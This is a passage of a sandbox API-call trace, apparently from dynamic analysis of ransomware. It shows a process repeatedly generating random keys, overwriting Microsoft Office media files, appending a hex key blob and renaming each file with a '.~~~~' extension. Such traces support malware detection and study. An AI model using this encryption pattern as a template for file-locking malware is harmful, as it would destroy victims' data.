	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.335] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24632525986) returned 1
	[0126.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4c00090, dwHighDateTime=0x1d60e1e)) 
	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b970
	[0126.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b970 | out: hHeap=0x300000) returned 1
	[0126.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abb58
	[0126.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0126.336] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.336] GetLastError () returned 0x0
	[0126.336] GetLastError () returned 0x0
	[0126.336] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.336] GetLastError () returned 0x0
	[0126.337] GetLastError () returned 0x0
	[0126.339] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff8dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.339] WriteFile (in: hFile=0xc4, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x724, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x724, lpOverlapped=0x0) returned 1
	[0126.341] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0126.341] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.341] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.341] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.341] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.341] CloseHandle (hObject=0xc4) returned 1
	[0126.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0126.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18230_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18230_.wmf.~~~~")) returned 1
	[0126.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0126.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.343] GetLastError () returned 0x0
	[0126.344] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.345] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.345] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.345] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24633508034) returned 1
	[0126.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4c261f0, dwHighDateTime=0x1d60e1e)) 
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b9a8
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b9a8 | out: hHeap=0x300000) returned 1
	[0126.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abd50
	[0126.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x300000) returned 1
	[0126.346] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.346] GetLastError () returned 0x0
	[0126.346] GetLastError () returned 0x0
	[0126.346] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.346] GetLastError () returned 0x0
	[0126.346] GetLastError () returned 0x0
	[0126.348] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff984, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.348] WriteFile (in: hFile=0xc4, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x67c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x67c, lpOverlapped=0x0) returned 1
	[0126.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0126.350] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.350] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.350] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.350] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.350] CloseHandle (hObject=0xc4) returned 1
	[0126.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abd50
	[0126.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18231_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18231_.wmf.~~~~")) returned 1
	[0126.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x300000) returned 1
	[0126.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.377] GetLastError () returned 0x0
	[0126.377] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.378] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.378] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.379] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24636896266) returned 1
	[0126.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4c724b0, dwHighDateTime=0x1d60e1e)) 
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b900
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b900 | out: hHeap=0x300000) returned 1
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abff0
	[0126.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abff0 | out: hHeap=0x300000) returned 1
	[0126.380] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.380] GetLastError () returned 0x0
	[0126.380] GetLastError () returned 0x0
	[0126.380] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.380] GetLastError () returned 0x0
	[0126.380] GetLastError () returned 0x0
	[0126.454] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff994, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.454] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x66c, lpOverlapped=0x0) returned 1
	[0126.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.455] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.455] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.455] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.455] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.455] CloseHandle (hObject=0xc4) returned 1
	[0126.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abff0
	[0126.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18232_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18232_.wmf.~~~~")) returned 1
	[0126.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abff0 | out: hHeap=0x300000) returned 1
	[0126.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.457] GetLastError () returned 0x0
	[0126.458] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.459] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.459] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.460] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24644971957) returned 1
	[0126.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4d30b90, dwHighDateTime=0x1d60e1e)) 
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b7e8
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b7e8 | out: hHeap=0x300000) returned 1
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ac098
	[0126.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0126.460] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.461] GetLastError () returned 0x0
	[0126.461] GetLastError () returned 0x0
	[0126.461] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.461] GetLastError () returned 0x0
	[0126.461] GetLastError () returned 0x0
	[0126.463] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff9b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.463] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x64c, lpOverlapped=0x0) returned 1
	[0126.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.465] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.465] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.465] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.465] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.465] CloseHandle (hObject=0xc4) returned 1
	[0126.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ac098
	[0126.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18233_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18233_.wmf.~~~~")) returned 1
	[0126.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0126.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.467] GetLastError () returned 0x0
	[0126.467] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0126.469] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.469] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.469] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24645896521) returned 1
	[0126.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4d56cf0, dwHighDateTime=0x1d60e1e)) 
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b820
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b820 | out: hHeap=0x300000) returned 1
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.469] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abab0
	[0126.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0126.470] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0126.470] GetLastError () returned 0x0
	[0126.470] GetLastError () returned 0x0
	[0126.470] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0126.470] GetLastError () returned 0x0
	[0126.470] GetLastError () returned 0x0
	[0126.472] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff8ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.473] WriteFile (in: hFile=0xc4, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x754, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x754, lpOverlapped=0x0) returned 1
	[0126.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.474] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.475] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.475] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.475] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.475] CloseHandle (hObject=0xc4) returned 1
	[0126.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0126.475] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18234_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18234_.wmf.~~~~")) returned 1
	[0126.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0126.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.477] GetLastError () returned 0x0
